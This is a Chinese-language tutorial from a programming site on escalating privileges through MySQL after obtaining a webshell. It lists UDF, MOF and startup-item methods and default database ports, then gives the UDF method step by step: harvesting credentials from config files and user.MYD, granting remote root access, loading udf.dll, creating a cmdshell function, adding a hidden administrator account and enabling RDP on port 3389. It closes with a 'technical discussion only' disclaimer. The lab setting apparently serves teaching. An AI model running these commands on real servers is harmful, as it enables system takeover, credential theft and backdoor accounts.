mysql数据库提权的三种方法
MySql提权的三种方式:
- udf提权
- mof提权
- 启动项提权
以下是一些常见的数据库及其默认端口:
1. MySQL: 默认端口为 3306
2. PostgreSQL: 默认端口为 5432
3. oracle Database: 默认端口为 1521
4. Microsoft SQL Server: 默认端口为 1433
5. MongoDB: 默认端口为 27017
6. Redis: 默认端口为 6379
7. Elasticsearch: 默认端口为 9200 (HTTP) 和 9300 (内部通信)
8. Cassandra: 默认端口为 9042
9. SQLite: 通常是本地文件系统,没有固定端口
10. DB2: 默认端口为 50000
11.国产的DM达梦数据库, 默认端口号为:5236;
mysql_UDF 提权:
拿到webshell之后,进行数据库提权操作
一、端口扫描
二、信息收集:
如何获取mysql账号密码
1.查看网站配置文件。
如:conn、config、data、sql、common 、inc、include等。
2.Mysql配置文件:C:\phpStudy\MySQL\data\mysql\user.MYD
例如:DVWA默认数据库存储在:C:/phpStudy/WWW/DVWA/config/config.inc.php.dist目录
点击查看:账号:root 密码:root
查看数据库安装路径下的mysql文件 安装目录为/data/mysql/user.myd和user.myi
放到MD5在线网站进行解密
三、提权利用
注意事项:提权的第一步要知道数据库的版本号:
(1)如果mysql<5.1 导出目录 c:\Windows 或 c:\windows\system32
(2)mysql=>5.1 导出安装目录\MySQL\lib\plugin
注*:默认mysql不能远程连接,需要用菜刀进行本地连接
选择mysql,填写好账号:root 密码root,确认好提交进行连接
设置远程连接,用于在本地连接。
mysql> GRANT ALL PRIVILEGES ON *.* TO root@"%" IDENTIFIED BY "root";
mysql> flush privileges; 重新加载权限数据
数据库版本为5.5.53
由于本次实验数据库为5.5.53,因此选择\MySQL\lib\plugin目录。
提示报错
前提条件为:secure_file_priv等于空,需要在my.ini配置文件中进行设置
修改之后,查看安装dll文件完成。
创建cmdshell函数,执行操作系统命令。
Create Function cmdshell returns string soname 'udf.dll';
使用cmdshll函数执行操作系统命令
select cmdshell('whoami');
select cmdshell('net user 123 123/add'); 添加用户
select cmdshell('net localgroup administrators 123 /add'); 将123用户添加到管理组
开3389进行远程连接
Create Function open3389 returns string soname 'udf.dll';
select open3389(); 开启3389远程连接
注意:仅用于技术讨论,切勿用于其他用途,一切后果与本人无关。
到此这篇关于mysql数据库提权的三种方法的文章就介绍到这了,更多相关mysql数据库提权内容请搜索编程网(www.lsjlt.com)以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网(www.cppcns.com)!
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341